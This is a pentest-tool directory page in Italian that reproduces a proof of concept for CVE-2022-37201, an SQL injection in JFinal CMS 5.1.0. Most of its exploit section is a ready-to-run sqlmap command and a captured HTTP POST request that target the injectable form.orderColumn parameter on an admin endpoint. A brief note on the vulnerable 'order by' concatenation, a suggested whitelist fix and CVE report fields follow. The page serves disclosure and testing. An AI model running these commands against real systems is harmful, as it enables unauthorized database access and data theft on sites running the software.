Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-37201 — CVE-2022-37201 POC | Kitploit
Strumenti/GitHubGitHub/againstthelight/cve-2022-37201
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration Testing
GitHubagainstthelight/cve-2022-37201

CVE-2022-37201

CVE-2022-37201 POC

Vedi Repository
3 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2022-37201

CVE-2022-37201 POC

POC

Prima di tutto devi installare sqlmap

devi impostare

  • dominio o IP di destinazione
  • il tuo cookie

quindi esegui lo shell

root@kitploit:~
sqlmap -u http://targetDomainOrIP/jfinal_cms/jfinal_cms/admin/contact/list  --thread 8 --batch --smart  --random-agent --data "
form.orderColumn=*&form.orderAsc=&attr.name=%E4%B8%89&totalRecords=2&pageNo=1&pageSize=20&length=10"  --cookie "  your cookie  " --current-db

image-20220730053527316

A volte devi sapere che /jfinal_cms/ non è necessario, devi valutare la rotta

principio

puoi vedere il codice dell'interfaccia /system/menu/list

root@kitploit:~
sql.append(" order by ").append(orderBy);

C'è un'istruzione SQL direttamente concatenata

inoltre

Non esiste alcuna misura per prevenire l'SQL injection perché qui è richiesta l'SQL injection

soluzione

Analizzando questo punto funzionale, ho scoperto che l'iniezione di orderby è fissa, ad esempio id, name, menu key, quindi puoi provare a utilizzare una query parametrizzata o creare una whitelist

Inoltre

il mio test

root@kitploit:~
POST /jfinal_cms/admin/contact/list HTTP/1.1
Host: 172.30.48.1
Content-Length: 98
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.30.48.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.30.48.1/jfinal_cms/admin/contact/list
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=BF13B42EDFC3DEC180959D6DF143BD18; Hm_lvt_1040d081eea13b44d84a4af639640d51=1659122360; session_user="wgPmpe3hEuJWIL+I+kHtxqag1wutWsMhm6eaAgoJH0c="
Connection: close

form.orderColumn=*&form.orderAsc=&attr.name=%E4%B8%89&totalRecords=2&pageNo=1&pageSize=20&length=10

eseguilo in sqlmap!!! usa -r

[Descrizione suggerita] JFinal CMS 5.1.0 è vulnerabile a SQL Injection.


[Informazioni aggiuntive] https://github.com/AgainstTheLight/someEXP_of_jfinal_cms/blob/main/jfinal_cms/sql4.md


[Tipo di vulnerabilità] SQL Injection


[Vendor del prodotto] il gruppo di sviluppo


[Codice base del prodotto interessato] https://github.com/jflyfox/jfinal_cms - JFinal CMS 5.1.0


[Componente interessato] Queste interfacce non utilizzano lo stesso componente, né hanno filtri, ma ciascuna utilizza il proprio metodo di concatenamento SQL, causando SQL injection


[Tipo di attacco] Remoto


[Esecuzione di codice d'impatto] true


[Divulgazione di informazioni d'impatto] true


[Vettori di attacco] È richiesto l'accesso dell'utente


[Riferimento] https://github.com/AgainstTheLight/someEXP_of_jfinal_cms/blob/main/jfinal_cms/sql4.md


[Scopritore] jw5t

Scarica lo strumento